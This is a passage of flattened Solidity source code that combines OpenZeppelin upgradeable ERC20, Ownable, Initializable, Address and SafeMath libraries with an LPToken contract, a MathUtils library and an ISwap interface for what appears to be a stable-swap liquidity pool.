v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "./interfaces/ISwap.sol"; /** * @title Liquidity Provider Token * @notice This token is an ERC20 detailed token with added capability to be minted by the owner. * It is used to represent user's shares when providing liquidity to swap contracts. * @dev Only Swap contracts should initialize and own LPToken contracts. */ contract LPToken is ERC20BurnableUpgradeable, OwnableUpgradeable { using SafeMathUpgradeable for uint256; /** * @notice Initializes this LPToken contract with the given name and symbol * @dev The caller of this function will become the owner. A Swap contract should call this * in its initializer function. * @param name name of this token * @param symbol symbol of this token */ function initialize(string memory name, string memory symbol) external initializer returns (bool) { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); __Ownable_init_unchained(); return true; } /** * @notice Mints the given amount of LPToken to the recipient. * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint */ function mint(address recipient, uint256 amount) external onlyOwner { require(amount != 0, "LPToken: cannot mint 0"); _mint(recipient, amount); } /** * @dev Overrides ERC20._beforeTokenTransfer() which get called on every transfers including * minting and burning. This ensures that Swap.updateUserWithdrawFees are called everytime. * This assumes the owner is set to a Swap contract's address. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable) { super._beforeTokenTransfer(from, to, amount); require(to != address(this), "LPToken: cannot send to itself"); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title MathUtils library * @notice A library to be used in conjunction with SafeMath. Contains functions for calculating * differences between two uint256. */ library MathUtils { /** * @notice Compares a and b and returns true if the difference between a and b * is less than 1 or equal to each other. * @param a uint256 to compare with * @param b uint256 to compare with * @return True if the difference between a and b is less than 1 or equal, * otherwise return false */ function within1(uint256 a, uint256 b) internal pure returns (bool) { return (difference(a, b) <= 1); } /** * @notice Calculates absolute difference between a and b * @param a uint256 to compare with * @param b uint256 to compare with * @return Difference between a and b */ function difference(uint256 a, uint256 b) internal pure returns (uint256) { if (a > b) { return a - b; } return b - a; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./ERC20Upgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable { function __ERC20Burnable_init() internal initializer { __Context_init_unchained(); __ERC20Burnable_init_unchained(); } function __ERC20Burnable_init_unchained() internal initializer { } using SafeMathUpgradeable for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./IAllowlist.sol"; interface ISwap { // pool data view functions function getA() external view returns (uint256); function getAllowlist() external view returns (IAllowlist); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); function isGuarded() external view returns (bool); function swapStorage() external view returns ( uint256, uint256, uint256, uint256, uint256, uint256, address ); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256); function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function initialize( IERC20[] memory pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 a, uint256 fee, uint256 adminFee, address lpTokenTargetAddress ) external; function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and 